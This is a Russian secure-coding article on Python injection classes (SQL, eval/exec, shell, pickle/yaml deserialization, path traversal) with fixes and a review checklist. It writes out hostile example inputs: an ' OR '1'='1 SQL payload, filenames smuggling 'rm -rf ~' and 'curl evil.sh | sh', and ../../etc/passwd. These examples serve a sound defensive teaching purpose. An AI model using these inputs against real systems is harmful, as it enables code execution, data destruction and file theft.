Москва: проверенные б/у ноутбуки с гарантией и проверкой перед оплатой
+7 906 722-94-45

Главная → Статьи → Инъекции и безопасность Python-кода

Инъекции в Python: eval, SQL, shell и границы доверенных данных

Как закрыть классы инъекций в Python: параметризованные SQL-запросы вместо склейки, отказ от eval/exec, subprocess без shell=True, безопасная десериализация — чек-лист по коду.

Прямой ответ

Инъекция — это когда данные пользователя исполняются как код, и в Python у этого четыре главных канала: SQL-склейка строк, eval/exec над внешним вводом, subprocess с shell=True и конкатенацией, десериализация недоверенных данных (pickle/yaml.load). Закрытия — механические и известные: SQL только параметризованный (?/именованные параметры, ORM), eval/exec не существуют для внешнего ввода (никогда), subprocess со списком аргументов без shell, десериализация недоверенного — только JSON со схемой/валидатором. Плюс одна сквозная идея: валидация на границе (pydantic/белые списки) дешевле, чем попытки «очистить» данные внутри.

SQL-инъекция: единственный правильный паттерн

cursor.execute(f"SELECT * FROM users WHERE name = '{name}'") — уязвимость из учебника: ввод ' OR '1'='1 ломает условие. Правильно — cursor.execute("SELECT * FROM users WHERE name = %s", (name,)) (DB-API-параметры; драйвер сам экранирует/привязывает) или SQLAlchemy (select(User).where(User.name == name) — параметры биндятся автоматически; практика ORM — в статье про SQLAlchemy). Нюансы, где параметризация «не работает»: имена таблиц/колонок и сортировки нельзя передать параметром — только белый список допустимых значений (маппинг «ввод → известное имя»); динамический LIKE — параметр с экранированием %/_ в значении; «legacy-код со склейкой» мигрируется постепенно, но новые запросы — только параметризованные. Экранирование кавычек руками (replace("'", "''")) — не замена параметризации (кодировки, типы, диалекты).

eval, exec и «вычисляемые выражения»

eval(user_input) выполняет произвольный Python — это не «риск», а гарантированное выполнение кода (чтение файлов, импорт os — всё доступно). «Опасный, но с restrict_globals» — иллюзия: обходы песочницы eval документированы и тривиальны. Чем заменять по задаче: арифметика из строки — ast.literal_eval (только литералы: числа/списки/словари) или мини-парсер выражений (библиотеки вроде asteval/simpleeval с явным разрешённым набором операций); «конфиг с формулами» — декларативный формат (JSON/TOML) с интерпретатором ограниченной семантики; диспетчеризация по строке — getattr с белым списком или словарь функций, не exec. Правило код-ревью: eval/exec в диффе — остановка до объяснения, и «данные из админки» объяснением не являются (админку тоже взламывают).

Shell-инъекция: subprocess без shell=True

subprocess.run(f"convert {filename}", shell=True) — файл с именем x; rm -rf ~ исполнит вторую команду. Правильно — список аргументов: subprocess.run(["convert", filename]) — каждый элемент передаётся как отдельный аргумент, shell не участвует, метасимволы безвредны. Если shell genuinely нужен (пайпы, glob) — shlex.quote() для подстановок или (лучше) subprocess.run(..., shell=False) с явной композицией через subprocess.Popen-пайпы в Python. Смежные каналы той же природы: os.system (всегда shell — не использовать), пути файлов из ввода (path traversal: ../../etc/passwd — нормализация и проверка, что итоговый путь внутри разрешённой директории, Path.resolve() + проверка префикса), шаблоны/формат-строки с {__class__}-обходами при форматировании недоверенными ключами.

Десериализация и прочие границы

Недоверенные сериализованные данные — канал выполнения кода: pickle.loads выполняет произвольный код по документированному поведению (разбор форматов — в статье про сериализацию); yaml.load (без Loader) — то же через конструкторы Python-объектов, безопасен только yaml.safe_load; «загрузка класса по имени из JSON» (importlib + getattr по строке) — белый список модулей/классов обязателен. Отдельный класс — SSRF (URL из ввода ведёт ваш сервер во внутреннюю сеть: белый список хостов/схем) и path/redirect-инъекции в веб-обработчиках. Сквозная защита — валидация на входе: pydantic-модель с HttpUrl, Literal-ограничениями и явными констрейнтами закрывает большую часть перечисленного одним объявлением (механика — в статье про FastAPI-валидацию).

Чек-лист для код-ревью и привычки

Минимальный список вопросов к диффу: есть ли SQL-склейка (f-string/% в запросе)? есть ли eval/exec/__import__ по данным? есть ли shell=True или os.system? десериализуется ли недоверенное через pickle/yaml.load? берутся ли пути/URL из ввода без нормализации и белого списка? Секреты не попадают в логи/ошибки (подходы — в статье про секреты)? Автоматизация: bandit (статический сканер Python-безопасности — ловит большинство перечисленного) в pre-commit/CI (git-хуки), dependabot-обновления зависимостей (гайд). Безопасность здесь — не «отдел», а пять привычек, встроенных в стиль кода.

Практический разбор: пять строк, которые ломают сервис

Возьмём типичный код из «внутреннего инструмента» и пройдём по нему чек-листом. query = f"SELECT * FROM events WHERE user_id = '{request.args['uid']}' AND type = '{request.args['type']}'" — классическая SQL-склейка: uid вида ' OR '1'='1 отдаёт всю таблицу; лечение — execute("... WHERE user_id = %s AND type = %s", (uid, type)), и если type должен быть из набора — белый список до подстановки. sort_col = request.args.get("sort", "id"); query += f" ORDER BY {sort_col}" — параметризовать имя колонки нельзя; лечение — маппинг {"id": "id", "date": "created_at"}.get(sort_col, "id") с дефолтом. subprocess.run(f"convert {upload_path} {out_path}", shell=True) — имя файла x.png; curl evil.sh | sh исполняет вторую команду; лечение — run(["convert", upload_path, out_path]) списком. config = yaml.load(request.data) — YAML-конструкторы выполняют Python-код; лечение — safe_load всегда, без исключений. open(os.path.join(base, request.args["name"])) — name=../../etc/passwd читает паспорт; лечение — (base / name).resolve() и проверка is_relative_to(base.resolve()) до открытия. Каждая правка — одна-две строки; вместе они закрывают пять каналов выполнения чужого кода. Именно поэтому безопасность кода — не «большая тема для экспертов», а привычка писать параметризованно, списочно и с проверкой границ.

FAQ

«У нас внутренний инструмент, инъекции не страшны»? Внутренние системы — цель №1 для lateral movement: SQL-инъекция во внутреннем дашборде даёт доступ к БД с продакшн-данными. Параметризация стоит ноль времени — оправданий нет.

Параметризованный запрос медленнее склейки? Нет — обычно быстрее (план запроса кешируется по структуре). Аргумент «производительность» в защиту склейки несостоятелен.

Можно ли eval для «калькулятора в боте»? Нет: используйте парсер выражений с белой грамматикой (simpleeval/asteval или собственный на ast) — функциональность калькулятора сохраняется, выполнение кода исключается.

Как найти уязвимости в существующем коде? bandit -r . (быстрый статскан), rg "shell=True|eval\(|exec\(|pickle.loads" по репозиторию, ревизия всех мест с execute( на предмет f-строк; далее — по чек-листу выше. Это закрывает 80% типовых дыр за час.

Источники: OWASP (SQL Injection), документация subprocess и pickle — ссылки в шапке.